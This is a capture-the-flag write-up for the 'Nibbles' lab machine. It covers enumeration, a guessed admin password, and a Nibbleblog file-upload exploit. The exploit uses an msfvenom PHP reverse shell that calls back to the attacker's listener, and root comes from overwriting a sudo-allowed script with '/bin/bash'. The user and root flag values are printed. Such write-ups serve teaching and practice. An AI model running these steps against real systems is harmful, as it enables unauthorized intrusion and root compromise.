NIBBLES
10.10.10.75
Last updated
10.10.10.75
Last updated
nmap-auto 10.10.10.75 all
Besides the normal ssh port, it looks like there's an Apache webservice running on the http port. The only other note is that the service enumeration got a match for a Linux box.
python3 dirsearch.py -e txt,html,php,sh -w /home/z3r0/Resources/wordlists/dir-list.txt -t 10 -u http://10.10.10.75/nibbleblog/
http://10.10.10.75/nibbleblog/admin/
http://10.10.10.75/nibbleblog/admin.php
login page, maybe needs brute forcing or credentials found somewhere else
http://10.10.10.75/nibbleblog/content/
directory tree with "private/", "public/", "tmp/"
/content/private/config.xml shoes email as admin@nibbles.com
/content/private/plugins/categories/db.xml has name Diego Najar
http://10.10.10.75/nibbleblog/index.php
http://10.10.10.75/nibbleblog/languages/
http://10.10.10.75/nibbleblog/plugins/
http://10.10.10.75/nibbleblog/README
Nibbleblog version 4.0.3 "Coffee" released 2014-04-01
Uses PHP v5.2
http://10.10.10.75/nibbleblog/themes/
The first thing I attempted was brute forcing the admin page with hydra... this ended up being a bad idea as nibbleblog has a security function that will blacklist the ip address of the user with too many incorrect attempts. After resetting the box and not finding any obvious credentials lying around, I tried to guess the password for admin. Luckily, this worked, and the password ended up being *nibbles* which happens to be the name of the box.
Set up a listener: nc -nvlp 9000
Create payload: msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=10.10.14.9 LPORT=9000
Execute script: python nibbleBlog_fileUpload.py
Doing the above gets a non-interactive shell as user nibbler. Checking the file "/etc/passwd" shows that nibbler actually has no shell set... that will have to change later. Might as well get the flag in "/home/nibbler" and check out and interesting low-hanging fruit.
user.txt: e92613df1dd44a1615667d7c898b5e51
First things first, this shell just won't do. The normal python tty shell that I spawn didn't work this time, but it's possible to create a shell environment by setting the standard variable SHELL to a bourne-again shell.
SHELL=/bin/bash script -q /dev/null
Cool, now there's a shell environment to work with. Running sudo -l shows that nibbler can execute a bash script, "/home/nibbler/personal/stuff/monitor.sh" as root without a password.
Bingo, lets just change that script to reflect some h4x0r things. First, head to to "/home/nibbler" directory. The only thing besides the flag is a zip file called "personal.zip", spoiler alert, unzipping it will create the folder structure that's necessary to execute the privesc command i.e. "/home/nibbler/personal/stuff/". It's possible to do it manually too.
Go into nibbler directory: cd /home/nibbler
Set up directory structure: mkdir -p personal/stuff
Create exploit file: echo '/bin/bash' > personal/stuff/monitor.sh
Make the bash file executable: chmod +x personal/stuff/monitor.sh
Run bash file: sudo ./personal/stuff/monitor.sh
Last thing to do is grab the flag at "/root/root.txt".
root.txt: 594503f570608adb0cbe6f578cef1d4d
Knowing the ssh port is probably not vulnerable, a good starting place would be the webpage. Opening it up shows a simple page with the words "Hello world!". When there's something simple like this, it means one of three things: (1) There's more to it, view the page source (2) It's a filler page, enumerate the website, (3) It's a dead end, move on to another service. In this case with only two open ports, it's not option 3, so it has to be options 1 or 2. By right-clicking and choosing the option ["View page source"](view-source:), a comment is discovered underneath the simple bold text.
The comment gives away a hidden directory "/nibbleblog/" with a bad attempt to pretend like there's nothing there. Time to check it out. Heading to shows a blog homepage called "Nibbles Yum yum".
Clicking around doesn't really do anything, maybe a directory search using [dirsearch]() on the subdirectory will show more.
Nothing really stood out right away, so I googled "nibbleblog 4.0.3 exploit" and found some results for an arbitrary file upload exploit that could be used to get a shell on the box. One in specific, [nibbleBlog_fileUpload.py](), uploads and executes a PHP reverse shell as long as the exploiter knows the username and password to access the admin page. The script requires some changes to the variables 'nibbleUsername', 'nibblePassword', and 'nibbleURL' as well as prepping some reverse shell code using the msfvenom command given in the python script.
